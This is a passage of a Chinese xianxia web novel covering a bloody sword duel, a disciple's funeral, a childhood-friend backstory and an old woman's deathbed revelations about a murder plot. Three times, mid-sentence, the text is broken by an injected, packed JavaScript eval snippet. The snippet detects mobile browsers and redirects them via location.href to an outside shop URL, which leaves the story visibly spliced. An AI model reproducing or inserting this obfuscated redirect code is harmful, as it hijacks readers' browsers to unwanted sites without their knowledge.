她早有预料,故意受此一击,随即反手拔剑,足尖轻点,踹向李寻安的小腿,同时一剑凌厉地挥下。 “万锋剑法第三式——暗月!”她低吟道。 伴随着剑光闪过,李寻安握刀的手应声而落,鲜血仿佛被这一击震慑,迟钝了一瞬,才缓缓自伤口涌出。 徐听晚终于领悟了这第三式的精髓,置之死地而后生,陷之亡地而后存。 一剑之下,生死立判,目如暗月,闭无明日。 李寻安难以置信地盯着断落在地的手臂,痛苦扭曲了他的面容。 此刻,摔在地上的眼珠短刀猛地飞起,上面的眼珠上下转了转,随后猛冲刺向徐听晚。 徐听晚身形微沉,以剑抵住短刀,轻轻一挑,短刀便带着眼珠划过一道弧线,其上眼珠受损。 短刀嗡鸣不止,李寻安口中黑血狂涌,魔气与黑血交织,被短刀贪婪地吸收。断臂竟在魔气的滋养下重新生长,而李寻安已彻底失去理智,他拾起地上的断臂,一口一口地吞噬起来。 他的双眼布满红血丝,黑瞳泛着红光,与短刀上的眼珠同步转动,透露出无尽的贪婪与渴望。 再次提起短刀,李寻安身形暴起,如同疯狂的野兽般扑向徐听晚,一剑刺出。 徐听晚侧身闪避,却迎来李寻安连绵不绝的攻击。密集的刀光剑影让她难以找到反击的契机。 她开始逐渐放松,不再让愤怒的情绪占据理智,而是静下心来,仔细观察敌人的每一个动作,寻找挥刀间的破绽。 江月平悄然从身后抽出青云剑,猛然间发动突袭,剑刃狠狠砍在李寻安的后颈之上,剑身深深嵌入肉中。然而,李寻安仿佛感受不到疼痛,转身之间,一剑便劈在了江月平的肩膀锁骨处。 “!!” 徐听晚紧握判决之剑,剑身隐隐闪烁着紫电之光,雷霆之力已在剑锋汇聚。 “暗月!” 她的动作快如闪电,力量犹如雷霆万钧。伴随着一声怒吼,徐听晚一剑斩断了李寻安手中的眼珠短刀,随即单手扼住了他的脖颈,脸上浮现出一抹似笑非笑的神情。 李寻安失控地挥舞着断掉的短刀,短刀上的眼珠仿佛也在恐惧地盯着徐听晚。她轻轻一踹,李寻安便如断线的风筝般高高飞起。徐听晚面无表情,抬手间两道剑影闪过,李寻安的双臂应声而断。 此刻,徐听晚周身环绕的雷霆之意已然无法遏制。江月平捂住伤口,踉跄后退几步,目光中满是不可思议的看着徐听晚周身汹涌的雷灵力。 徐听晚伸手向上一刺,判决之剑精准无误地刺入李寻安的喉咙。她转身背对着李寻安,将剑停在肩膀上空,用力一挥,李寻安的脑颅便从脖颈处被一分为二,鲜血四溅,宛如方才的大雨倾盆。 徐听晚轻轻眨眼,鲜血溅满全身,她却毫不在意地抬眸望向面前的江月平。她知道自己无法像江月平那般善良、内敛与沉稳,她无法控制自己的情绪,总想用暴力解决一切。然而,她也明白,这并不是正确的做法。 阳光再次洒落在这片雪松林上,但无人感受到丝毫的温暖。 徐听晚轻轻侧转身躯,赫然发现,不知何时,姜满已携同孟鹤、月恒、初千墨以及傅亦舟悄然抵达此地。 众人的目光皆显得有些呆滞,徐听晚察觉到,自己眼皮上的血珠在微微颤动,随后沿着眼角缓缓滑落,最终无力地溅落在地面之上。 她那张布满阴霾的脸庞,即便是阳光照耀,也显得异常悲凉,犹如枯黄的落叶,在泥土中腐烂的最后瞬间,被阳光照亮,记录着它最后的哀叹。 初千墨紧握着手中的剑,脸上满是难以置信,她曾将徐听晚视为自己的目标,然而此刻却发现自己与她之间,仍有着难以逾越的鸿沟。 一旁,琉璃剑从中断裂,阳光洒在李莫离的脸上,她艰难地挣扎着起身,紧紧抱住陆若音。 姜满一行人是在徐听晚将李寻安蹬飞至空中的那一刻抵达的,他们原本正与剑竹宗联手,试图平息突如其来的雪山兽潮。 夏季的兽潮总是如此猝不及防,这几个月来,玄天剑宗一直在密切关注着雪山的动静。恰巧今日兽潮爆发,他们正忙于应对,却收到了徐听晚的求救信息。尽管她无法抽身,但仍迅速处理着手头的事务。 为了更快赶到,她甚至不惜动用精血祭刃,耗费了大量灵力,挥剑解决。 孟鹤四人对于姜满掌门竟会为了一个求救信息而做到如此,皆感到十分惊讶。 “姜掌门,麻烦您了,我已经解决完了。”徐听晚的声音带着嘶哑,艰难地走到江月平的身旁,目光落在她肩膀至锁骨间那道触目惊心的伤口上。她抬起手,想要触碰那道伤口,却在半空中看到自己满手的粘稠,只好无奈地放下。 在被李寻安狠狠踩在脚下的那一刻,徐听晚的肋骨已然尽数断裂。然而,她强忍着痛苦,不想让江月平察觉到她的不适,以免她再为此担忧,提笔书写更多。 此刻,她全身每一处都在忍受着呼吸带来的煎熬,却凭借这残破的身躯,硬生生扛下了七道天雷。回想起这一切,徐听晚自己都感到难以置信。 她的身体已然错位,疼痛被愤怒死死压制。此刻的她,已疼得无法言语,连吞咽口中的鲜血都如同刀割般剧痛。鲜血不断上涌,涌入鼻腔,从鼻尖滑落,泪水也不受控制地滚落而下。 江月平见状,抬手欲扶徐听晚,却在触碰到她手臂的瞬间,感受到了她剧烈的颤抖。她摸到了徐听晚断裂骨头凸起的部分,猛地收回手,无助地颤抖着,不知所措。 徐听晚眼前一黑,重重地倒下。江月平不顾自己手心那深可见骨的伤口,毅然伸手将她稳稳接住,小心翼翼地打横抱起。无论旁人如何劝阻,她都坚持要亲自抱着徐听晚。 徐听晚已伤得如此之重,却从未喊过一句疼。 江月平强忍着泪水,守在徐听晚的床边,轻轻拔下她头上的黄玉银蝶发簪。徐听晚身上的伤口已全部得到处理,除了头部,几乎没有一处完好的地方。 而此刻,外面正举行着陆若音的丧礼。 姜满初次见陆若音是在藏书阁内,那时,陆若音正浅笑凝视着她。姜满出于好奇,轻声询问陆若音有何言语欲吐。只见陆若音缓缓踱步至她身旁,压低声音,在她耳边轻声道出自己将来要如姜掌门一般强大。 那时的陆若音,不过是个初由内门晋升的宗门弟子。 两人的再次相遇,却是在陆若音的母亲大闹宗门,执意要将她带回家之时。陆母声称陆若音并非修道之才,过于柔弱,修道之路危机四伏,显然不适合她。 姜满一眼便认出了陆若音的母亲——古思缘,古忆南的亲妹妹。而古思缘的夫君,曾是玄天剑宗的一名内门弟子,在外出历练时,为救同门孤身引开魔修,英勇牺牲。 面对此景,姜满不便多言,只能默默旁观。眼看着陆若音即将被古思缘带走,陆若音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014544|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却猛然挣脱,跪在姜满面前,高声宣誓:“若我明年无法跻身亲传弟子之列,我便自愿离开宗门!” 此言一出,四周一片沉寂,围观的弟子纷纷将目光投向姜满。 姜满与古思缘四目相对,却无言以对。最终,古思缘深深看了一眼陆若音的背影,转身离去。待陆若音以为姜满不同意,回头寻找母亲时,却发现母亲早已消失无踪。 那时她激动的跳了起来。 现在她安静的躺在里面。 姜满眨了眨干涩的双眼,她这一生没有赢。 李莫离在旁人的搀扶下,缓缓步入陆若音的院落。院中矗立着一株五六年生的白茶花树,花朵硕大,芬芳馥郁,清雅娴静之姿令人赞叹。然而,遗憾的是,那位亲手栽种它的人,却已无法亲眼目睹这满树的繁花似锦。 她轻轻摘下一朵白茶花,步履沉重地走向院落中央,将花放置在陆若音那静谧安详的棺木旁,紧贴着她的脸。 陆若音身着一袭洁白无瑕的宗服,面容平静,双眼紧闭,仿佛只是陷入了深深的沉睡之中。 李莫离深吸一口气,将花放置妥当后,痛苦地蹲下身子,无声地抽泣起来。 孟鹤满脸疲惫地开口询问:“那里究竟发生了什么?” 他心中充满了自责与懊悔,身为兄长,他未能保护好妹妹;身为大师兄,他亦未能守护好师妹。 如果他能够更加强大,迅速平息兽潮,或许陆若音就不会遭遇此劫。 得知陆若音逝世的消息,周启明和周落私心急如焚,独自御剑飞回。月恒见状,重重地锤了一下两人的肩膀,严厉地责备道:“你们两人御剑回来,可知有多危险?万一遇到魔修怎么办?难道就不知道坐云舟回来吗?” 这是两兄弟首次见到月恒如此动怒。 周落私紧皱眉头,摊手反驳道:“可是三师姐死了,坐云舟太慢了,我实在着急。三师姐这到底是怎么回事?” 周启明连忙拉住自己的弟弟,示意他不要再多言。 此时,傅亦舟走过来,轻轻揽住月恒的肩膀,低声安慰着她。 李莫离倚靠着身旁人的搀扶,缓缓站起身来,手捂胸口,剧烈地咳嗽了两声,声音哽咽,一字一顿地将刚刚发生的事情复述了一遍。 众人陷入了深深的沉默之中,月恒低头,泪水滑落,初千墨紧握双拳,声音颤抖着怒吼:“奸诈的魔修!” 温乐天脸色惨白,默默地走出人群,站在门口。 他刚才将李莫离的话一字不漏地听进了耳中。 夏日的阳光,此刻却仿佛带着刺骨的寒意。 古思缘步履蹒跚,在别人的搀扶下缓缓走了进来。 六十多岁的她,因未曾修道,头发已经全白。 她曾是姜满这群朋友中年纪最小的妹妹,如今这般模样,让姜满不忍直视,转过头去。 那些往事,原来已经过去了这么久。 “我就知道,这丫头和她父亲一样倔强。” 古思缘满脸皱纹,看上去更像是八十多岁的老人,而非六十岁。 温乐天紧皱眉头,凝视着眼前的老婆婆。 “古姨!”他大喊一声,声音中充满了激动。 他一直在寻找古姨,却始终没有她的消息。如今,找了这么久的人终于出现在他面前,他怎能不激动?他要找的,不仅是母亲的挚友古姨,还有他儿时最好的朋友——白茶。 当时因为母亲一手创办了黑阁,让他们母子不得不离开下南城,四处漂泊。 29.白茶花 徐听晚缓缓睁开眼睛,只见一脸平静却双眼泛红的江月平正低着头,目光直直地锁定在她身上。 她缓缓地伸出手,在江月平那专注的眼前轻轻晃了晃。江月平眨了眨眼,动了动略显僵硬的脖颈,随后缓缓地将她扶起。 此刻,徐听晚只觉浑身酸痛,双眼迷蒙,周遭一片孤寂,而窗外那黄昏的余晖竟显得格外刺眼。 “我究竟躺了多久?”她的声音微弱而嘶哑。 “一周了。”江月平的回答同样嘶哑,两人虽近在咫尺,声音却仿佛相隔甚远。 “月平,你为何要写那封道歉信?”徐听晚试探性地看向江月平的眼睛,而江月平却自然地侧过头,避开了她的目光,语气平淡地说道:“你不是说要补偿我吗?你若死了,又如何补偿我?而且,当时我不过是想拖延时间罢了,他若杀了你,下一个目标便是我。 她说得如此理所当然,仿佛这是一件再正常不过的事情。 徐听晚微微勾起嘴角,道:“小师妹真是聪明绝顶,比清云可要聪明多了。这样的做法,确实是最明智的选择。” 她紧紧捏住被角,垂下眼帘,脸色显得异常苍白。 江月平轻轻应了一声,随即站起身,缓步走向窗边。一阵和煦的暖风拂过,携带着一股熟悉香气。 徐听晚略感局促,忙不迭地穿上外衣,起身向外行去,口中道:“躺得太久了,我出去走走。” 江月平声音柔和,却带着不容忽视的力量:“等一下。” 徐听晚闻言猛地一顿,旋即快步回到她身旁,以一抹温柔的浅笑相对。然而,江月平并未理会她的眼神,只是望向窗外,继续说道:“二师兄通过书卷传来消息,四师兄和梅道友的伤势已大为好转。梅道友邀请三师弟前往他的母家梅家学习和修养,同时也邀请了我们三人。” 徐听晚闻言点头,赞同道:“我们皆受了伤,前往古法丹方第一家梅家,实属上策。” 江月平随手将手中的书卷抛向徐听晚,提醒道:“别再用原始密码了,否则任何人拿到你的书卷都能轻易查看信息。” 徐听晚点头应允,语气中带着几分坦荡与期待:“除了你们,谁会知道我是原始密码一一一一呢?你们随意看便是。” 她的眼神中闪烁着期待的光芒,犹如乌鸦翱翔于天空,努力展示着自己美丽的翅膀,可大多数人只能看见乌黑。 “嗯。”江月平简单地回应了一声。 徐听晚早已习惯了她的敷衍,心中虽有微澜,却仍努力安慰自己。小师妹对谁都是如此,自己又何必失望呢? 她微微一笑,继续道:“那我出去走走,顺便跟乐天说一声。” 江月平依旧只是轻轻应了一声,算作回应。 徐听晚经过屋内的铜镜时,不禁微微蹙起了眉头。 “月平,你瞧见过我的簪子吗?就是那只黄玉银蝶簪。” 江月平身形一顿,背后僵硬,却强作镇定,面无表情地思索着应对之策。 “或许是掉在路上了,我去找找。” 话音未落,徐听晚已急匆匆地冲出了屋外,眼眸中闪烁着焦急与不安。 那只簪子,是小师妹亲手为她改制的,她绝不能就这样轻易遗失。 此时,江月平的手已悄然摸向了储物袋中的簪子,轻声低语:“我见它掉落,便顺手捡了起来。” 听闻此言,徐听晚猛地转过身来,一眼便瞧见了江月平手中的簪子,心中的大石这才落了地,笑靥如花地说道:“若是这簪子找不回来,我可是说什么也不会走的。” 她浅笑着走近江月平,两人正对着窗外站定。 “小师妹,还是劳烦你帮我插上吧,我就不进屋了。” 徐听晚立于窗外,任由夕阳的晚风轻轻拂过她的面庞。 “嗯。” 江月平的回答依旧是不冷不热,不带丝毫情感色彩。 她抬手将发簪轻轻插入徐听晚的发间,徐听晚微微低头,只见黄玉在夕阳的余晖下几近透明,内里镶嵌的留影石细小如尘,如同美玉中的一点杂质。 江月平的手指微微一顿,心中涌起一丝悔意,本不该将簪子还她,但见她如此焦急,终究还是忍不住开口宽慰。 “大师姐,我发现这颗黄玉里有些杂质,我这儿有一颗更好的黄玉珠,咱们换一换吧。” 说罢,江月平便拿出一颗更为硕大的黄玉珠来。 徐听晚轻轻摆手拒绝,笑着抚摸着头上的发簪道:“这是月平送我的第一件礼物,我是无论如何也舍不得换的。而且,我还在这黄玉上附加了我的本源灵力,就算它真的不见了,我也能顺着这股灵力将它找回。” 江月平闻言,心中不禁涌起一丝后怕,她原本以为那上面隐隐约约的雷灵力是大师姐佩戴时间过长所致,没想到她竟将自己的本源灵力也融入了其中。 “嗯。”江月平轻轻点头,将黄玉珠收回,侧头看向一旁的白茶花树,目光虽看似专注,实则却在用余光观察着徐听晚的眼神与发丝。见她顺着自己的目光望向别处,心中不禁涌起一丝莫名的触动。 徐听晚缓步至白茶花树旁,细细观赏着枝头的繁花似锦。 先前所闻的芬芳,曾让她误以为温乐天就在外头,原来这醉人香气源自这株花树。 她向前挪动几步,恰好撞见温乐天倚树而坐,双目紧闭,头微微低垂。 白山茶花大朵大朵地飘落在他的肩头,仿佛承载着千钧之重,令少年的背影略显佝偻。 温乐天平日里那身鲜艳的红衣,此刻似乎也被白山茶的花瓣轻轻沾染,略显黯淡。 “别在这儿睡了,要去睡就去房里,这样多难受啊。”徐听晚的话语温柔地将他唤醒,而他只是轻轻眨眼,一滴晶莹的泪珠悄然落在身上的白茶花上。 徐听晚察觉到异样,蹲下身,眉头紧锁,关切地问道:“乐天,你怎么了?” 温乐天闻声缓缓抬头,苍白的双唇微微翕动,却未能发出半点声响。 他轻咳两声,眼眶泛红,声音沙哑地讲述起与陆若音儿时玩伴的往事以及陆若音救他的事情。 他的声音因哽咽而含糊不清,徐听晚费力地听清了事情的来龙去脉。她深知此刻的自己无法真正抚平少年的伤痛,言语或许只会增添困扰,于是选择默默陪伴在他身旁。 徐听晚轻轻弯下腰,在地面上拾起一朵白茶花,小心翼翼地捧在手心,细细地端详着,即便是掉落,也依旧散发着令人赞叹的美丽。 她所处的位置极为巧妙,只需微微侧头,便能清晰地看见站在窗边的江月平。然而,当她满怀期待地望去时,江月平却已将目光移向了别处。 夕阳的余晖为白茶花镀上了一层黄昏的色彩,那抹温柔的光晕轻轻洒落在徐听晚的身旁,营造出一种难以言喻的恬静氛围。 江月平无法直视这份美景,只好故作姿态,假装自己不懂得欣赏这份风情。 但她内心的思绪却如同天空中交错的云朵一般,纷乱复杂,难以平复。 温乐天思绪飘回到了那个与白山茶相关的日子。 “瞧你那娘娘腔的样子,穿红色就像个姑娘。” “哪里只是像姑娘,我看简直就像南小巷面馆里那些招摇过市的风尘女子!哈哈哈哈哈!” 三个身材高大、体型肥胖的男孩将一个瘦弱的男孩逼到了角落,男孩惊恐地用手捂住了脑袋。 然而,想象中的打骂并未降临,一道尖锐而稚嫩的声音突然响起:“是谁给你们的胆子,竟敢在我未来要成为除魔斩妖的修士面前欺负人!” 小陆若音挺身而出,挡在了小温乐天的面前。那时,他们都还只有七八岁的年纪。 “快跑,那个疯丫头的爹是玄天剑宗的内门弟子,不知怎的就跑到我们下南城来了,咱们可别惹她。” 三个胖孩子吓得一溜烟儿就没了踪影。 “切,三个胆小鬼!” 她转过身来,盯着他的眼睛,嘴角勾起一抹浅笑,伸出了手。 “你好,我叫白茶。” 他轻轻地将手搭了上去。 “你好,我叫小天。” 白茶扶起小天,拍去他身上的灰尘,牵着他的手说:“走,我带你去街上逛逛。” 两人一同赏月、数星、品尝云片糕、捕捉萤火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024073|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫、栽种白茶花树、共饮白茶花水。 就这样,他们相伴度过了两年的时光,直到温乐天的母亲温苏带着他离开,两人从此分别,再无音讯。 直到如今,他才从李莫离口中得知,当年母亲曾送给白茶一只双响玉环,作为一直守护她儿子的“保护费”。 她,一直戴着双响玉环在等待。 他,一直戴着白茶香囊在寻找。 只可惜,当他们终于相认时,却已经是永别。 “大师姐,我意欲携古姨一同前往探望家母,她时常缅怀这位昔日挚友,心中挂念不已。”温乐天的嗓音已沙哑得几乎难以辨认。 “恰好我也渴望结识那位一手缔造黑阁的传奇女子,你总不会忍心拒绝我与月平同行吧?” “当然不会。”温乐天回应道,此刻他的眼中满是疲惫之色,这是徐听晚首次见到他如此模样,往昔他总是那般无忧无虑、精力充沛。 一道身影缓缓逼近,将地上的黄昏余晖悄然遮蔽。 “商量妥当了吗?”江月平的声音传来。 徐听晚闻声抬头,望向发声的江月平,语气柔和地说道:“我们先陪乐天走一趟,随后再去梅家。” 江月平微微颔首。 三人行至古思缘的小宅前,只见满院的白茶花竞相绽放,芬芳四溢。在院子中央,一位白发苍苍的老婆婆正安静地躺在竹椅上。 温乐天轻声呼唤,老人却毫无反应。他连忙上前,小心翼翼地探了探老婆婆的鼻息,发现她只是沉睡过去,睡得格外沉罢了。 江月平轻轻搭上老婆婆的手腕,微微蹙起了眉头。 “她的情况很不乐观。”她沉声道。 温乐天闻言,一把抓住她的手臂,急切地问道:“为什么?” 江月平耐心地解释道:“我小时候曾在医馆生活过一段时间,略懂一些医术。这位老人的脸色苍白无血色,气息偏重且不稳定,脉搏跳动也偏快,这些都是回光返照的迹象。” 老婆婆缓缓地睁开了双眼,轻声问道:“你们是哪家的孩子,为何会跑到我的屋子里来?” 她瞥了一眼那扇未关的门,轻叹一声:“看来,我又忘记关门了。” 说完,她抬起头,仔细端详着温乐天三人,微微蹙眉:“你们三个,看着好生面熟。” 随后,她缓缓走到江月平面前,仔细打量着她:“你和我年轻时有几分相似,虽是女子,却也有几分像我那糊涂的哥哥。” 江月平目光紧盯着古思缘,问道:“请问,您的哥哥叫什么名字?” 古思缘轻叹一声,仿佛放下了多年的重担:“躲了大半辈子,如今也不必再躲藏了。我哥哥是古忆南,他曾救下一个女子,并深深爱上了她,可那女子却并不爱他,从此,他便迷失了自己。” 三人闻言皆是一惊,没想到这里竟然也有关于那件事情的线索。 江月平追问道:“他救下的女子是谁?” 古思缘轻轻吐出三个字:“林流华。” 徐听晚闻言,眼神猛地一顿,心中暗惊:什么?古忆南救了母亲,那为何母亲要联合父亲杀了他? 古思缘注意到一旁面色凝重的徐听晚,微微挑眉:“你一定是徐君彦的女儿吧?看你腰间令牌上的名字,徐听晚,真是个好名字,很符合你父亲那温柔的气质。” 徐听晚轻笑一声,点了点头。 古思缘继续说道:“你和你父亲长得真像,想当年,你父亲是天河大陆的第一美男,是温柔体贴的代名词,更是那届亲传弟子中的第一名。” 徐听晚闻言,垂眸不语。 最后,她缓缓转头,目光温柔地落在温乐天身上,轻声道:“那时,小乐的母亲被迷得神魂颠倒,竟亲手制作了数张徐君彦的人皮面具。” “又在背后蛐蛐我。” 温乐天闻言,脸上闪过一抹激动,猛地转身,朝着门口高声喊道,“母亲,您怎么来得如此之快!” 门口,一位张扬的女子笑盈盈地站着,她轻声解释道:“昨日你提及今日要带一位故友回来与我相见,我实在按捺不住心中的好奇,便自己先来瞧瞧了。” 30.前往梅家 徐听晚凝视着站在门口的女子,她身着一袭紧身红衣,头戴金簪,镶嵌着东珠,尽显华贵之气,容颜浓丽,与温乐天有着八分相似。 她心中不禁暗自感叹:难怪谢止寒掌门会说乐天很像她的母亲。 温苏抬眼望向徐听晚,嘴角勾起一抹轻笑,说道:“果真是徐君彦的女儿。” 古思缘闻言点了点头,道:“原本以为会是几个没礼貌的毛头小子,没想到睁开眼看到的却是几张有些熟悉的面孔,仿佛一下子回到了二十多年前。” 温苏缓步走到她身后,细心地为她梳理着散乱的发丝。 “想当年,古家与温家联姻,你却不愿嫁给我兄长,从北部一路逃到南部。我哥担心你,便也一路追随而来,其实他一直都将你视为亲妹妹。” 温苏沉默不语,眼眶微微泛红,轻轻眨了眨眼。 古思缘接着说道:“若非跟随于你,我哥也不会邂逅那位女子。那时我哥本欲劝你回心转意,言明若你不愿出嫁,他会助你,但你却避而不见。于是,我出了个主意,让他夜晚戴上你亲手制作的徐君彦人皮面具去逗弄你。不料,途中竟遇到了正被追杀的林流华,他出手相助,引开了追杀者。而她,仅仅摘下面罩,拱手致谢,回眸一笑,一句‘多谢’,便让我哥驻足在了下南城。” 温苏调整好情绪,笑谑道:“当初若是应了联姻,或许就不会发生这一连串的事情了,古大哥也不会至今下落不明,尸骨无存。” 古思缘轻轻摇头,笑道:“若是二十多年前的你此刻在此,定会狠狠数落你一番。记得那时我们在温家城逛街,你句句不离徐君彦,扬言将来定要找一个如徐君彦般温柔英俊的男子。随后又改口说不行,非徐君彦不嫁,还期盼着能见上他一面。” 温苏轻嗔一声:“当着这三个小辈的面揭我的老底,若非我如今脾气收敛了许多,定要好好‘招待’你一番。” 徐听晚在一旁默默倾听,心中的猜想愈发明确。 古思缘的气息愈发微弱,思绪也变得模糊不清,她嘴里含糊地嘟囔着:“臭丫头,和你那个顽固的爹真是一个模子刻出来的……你们俩倒是心有灵犀,手牵手一块儿来向我赔罪了……” 温苏默默地垂下眼眸,一滴晶莹的泪水悄然落在古思缘的头顶。 古思缘拼尽全力抬起头望向温苏,随后缓缓闭上了双眼,最终轻声呢喃:“人与人之间,总是自己暗自揣测,不愿开口言说,这样如何能把事情讲明白呢。苏苏,今日这太阳,怎么如此早就落下去了。” 徐听晚眨了眨眼,心中涌起一股不忍,她侧过头望向天空中那轮依旧炽热的太阳,只觉身体一阵寒意袭来。 她不愿成为如父亲那般的人,可世人却总说她与他相似,这让她感到无比的厌烦与心寒。她渴望世人看到她时,第一个想到的是她的强大,而非她的父亲。 古思缘被温乐天的母亲温苏安葬在陆若音的坟墓旁,一家三口,终得团聚于此。 夏日的雨总是来得猝不及防,徐听晚连忙撑开伞,举至江月平头顶。众人因内伤尚未完全痊愈,皆不愿耗费灵力去躲避这突如其来的雨水。 温苏取出一柄硕大的伞,稳稳地插入地面,蹲下身轻轻一撑,一把巨大的伞面瞬间遮蔽了众人。她站起身,眉梢轻挑,笑道:“如此岂不便捷许多?” 温乐天放下手中的伞,顺从地步入大伞之下。 徐听晚递伞的动作微微一顿,随即拉着江月平一同躲进了大伞的庇护。 “母亲,您真聪明,竟想出用如此巨大的纸伞避雨,还巧妙地利用分灵器分散伞骨所需的灵力,既减少了灵力的消耗,又扩大了避雨的范围。”温乐天虽嘴角上扬,但神色间仍带着几分恹恹,不复往日的活泼开朗。 温苏岂能看不出儿子的情绪变化,她轻轻揽住他的肩膀,柔声道:“小乐,人们常说这辈子欠下的债,下辈子要偿还,这不就意味着下辈子我们还会相遇吗?” 徐听晚嘴角微扯,心中暗自思量:她竟是这样理解的吗? 江月平低头望着徐听晚紧紧拉着自己的手,假装未曾察觉,默不作声。直至徐听晚自己回过神来,松开手,轻声说了句抱歉。 徐听晚凝视着伞面上所绘的小鸡,面露疑惑,开口问道:“这是何种鸡?模样倒是颇为别致。” 此言一出,温乐天率先忍俊不禁,江月平则竭力克制笑意,微微侧过头去。 温苏嘴角微撇,全然没有长辈的威严,委屈地抱怨道:“你言辞也太刻薄了吧。” 徐听晚未曾料到,这位一手创立黑阁的女子竟如此古灵精怪。 “抱歉,我不知晓自己何处出错,温前辈能否直言相告?” 温苏无奈地望向温苏的双眸,指着伞画上的图案,撇撇嘴道:“这是我画的凤凰。” 徐听晚一时无言,反复抬头确认,最终眨了眨眼,点头说道:“是在下眼拙,未曾见过凤凰,故而将其误认为是一只好看的鸡。” 温乐天在一旁笑得前仰后合,直至笑出泪来。 “大师姐,不必如此拘礼,我母亲不会介意的,她的画技本就欠佳,幸亏我未曾继承。” 温苏揪住温乐天的耳朵,轻轻一提。 “你这臭小子,竟敢取笑你娘我。” “没有没有,我错了!我错了!” 温乐天的眼泪不停地掉落,温苏松开手,不再言语。 有时候,泪水需要一个释放的出口,因为有些人总以为自己能够轻易忍住和接受,其实,痛快地哭出来会更好。 徐听晚轻声细语道:“温苏前辈,我有事想和你单独聊一聊,不知可否?” 温苏微微一笑,眨了眨眼道:“自然可以,洗耳恭听。” 江月平心中暗自盘算,其实对于徐听晚的意图,她已大致猜到几分。然而,仅凭他们几人的力量,要想扳倒徐君彦,无疑是杯水车薪。他们此刻亟需的是确凿的证据与更多的助力。 “大师姐,但说无妨,我心中已有了几分猜测。”江月平的声音平静而坚定。 徐听晚凝视着江月平的双眸,陷入了沉思。原著中的情节,她已渐渐淡忘,毕竟如今的走向早已与原著大相径庭,那些记忆也变得不再重要。 她心中不愿伤害江月平,甚至渴望弥补过去的过错,但只要江月平一日不愿坦诚相待,她便难以全然信任。 “月平……”徐听晚欲言又止,心中暗自思量,是否该提议交换秘密,成为彼此的盟友。然而,话到嘴边,她终究还是咽了回去。毕竟,若只是自己的一厢情愿,既为难了别人,也难堪了自己。 江月平与她不同,她心怀天下、渴望铲除世间不平的热血之士,而自己,却只是一个渴望力量、贪恋生死的俗人。 临近夏末,雨水总是格外丰沛。 当江月平听到她呼唤她的名字时,不由自主地往后退了一步。她本以为自己已经坦然接受了两人是兄妹的事实。 然而,仅仅是那个名字,简短的两个音节,却将她刚刚建立起的自信瞬间击溃。 气氛骤然凝固,对话戛然而止。徐听晚察觉到了江月平的尴尬,于是体贴地将目光转向了温苏。 江月平误以为这是对方的厌烦,她好不容易维持的平静心境瞬间崩塌。她不明白自己为何会有如此强烈的反应。 她不清楚自己烦躁的根源何在,是因为无法释怀是同一个母亲的事实,还是不甘心就这样轻易原谅,亦或是有其他难以言说的原因…… “温前辈,我们已大致查明了当年古忆南逝世的真相。”徐听晚的话语让一旁的温乐天不禁一愣,他迅速拭去眼角的泪水,侧耳倾听。 温苏苦笑一声,问道:“古忆南确实已经不在人世了吗?” 徐听晚毫无保留地讲述了自己所知的一切,她在赌,赌这个女人刚才所言句句属实,她也必须赌,因为她需要更多的筹码。 “那么,这些线索之间究竟有何关联?”温苏的话语中带着严肃,眼神锐利,徐听晚明白自己赌对了。 “古忆南是被我的父母所杀。至于原因,或许是我母亲为了掩盖自己被囚禁的事实,而我父亲则趁机利用某种秘法吞噬了古忆南的修为。至于江枝意的死,则是因为她带走了那个孩子,并且也是知晓林流华被囚禁的知情者之一。他们之所以没有立即杀了她,可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033160|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为她曾放走了林流华。但后来,或许是因为孩子的缘故,江枝意又去找了林流华,最终遭到了灭口。” 温苏听后,陷入了沉思:“如此一来,徐君彦便可将所有罪责推到你母亲身上。” 徐听晚皱眉继续说道:“我不认为杀江枝意的是我母亲,那时候她刚生下我,身体虚弱,根本没有力气动手,更可能是我父亲所为。” 温苏追问道:“那你父亲为何要杀她?” 徐听晚思索片刻后答道:“可能是因为我母亲说了什么,或是江枝意看到了什么不该看的东西。” 温苏闻言一愣,看向旁边这个眼神凝重、逻辑清晰的女子,心中不禁赞叹她的思考能力和逻辑性。 “为何林流华在逃脱之后会选择去找徐君彦呢?”她满心疑惑地问道。 徐听晚并未立即回答这个问题,而是陷入了沉思。片刻之后,她似乎想起了古思缘婆婆之前的话语,心中突然有了一丝明悟,于是回答道:“或许是因为我母亲误以为当年帮她引开追杀者的是我父亲吧。” 听到这个回答,温苏的手不禁微微一颤,插在地上的纸伞也随之轻轻摇晃。 她垂下眼眸,轻轻眨了眨眼,继续说道:“梳理清楚这些线索后,我一直想问你,为何要揭露自己父母的真面目。” 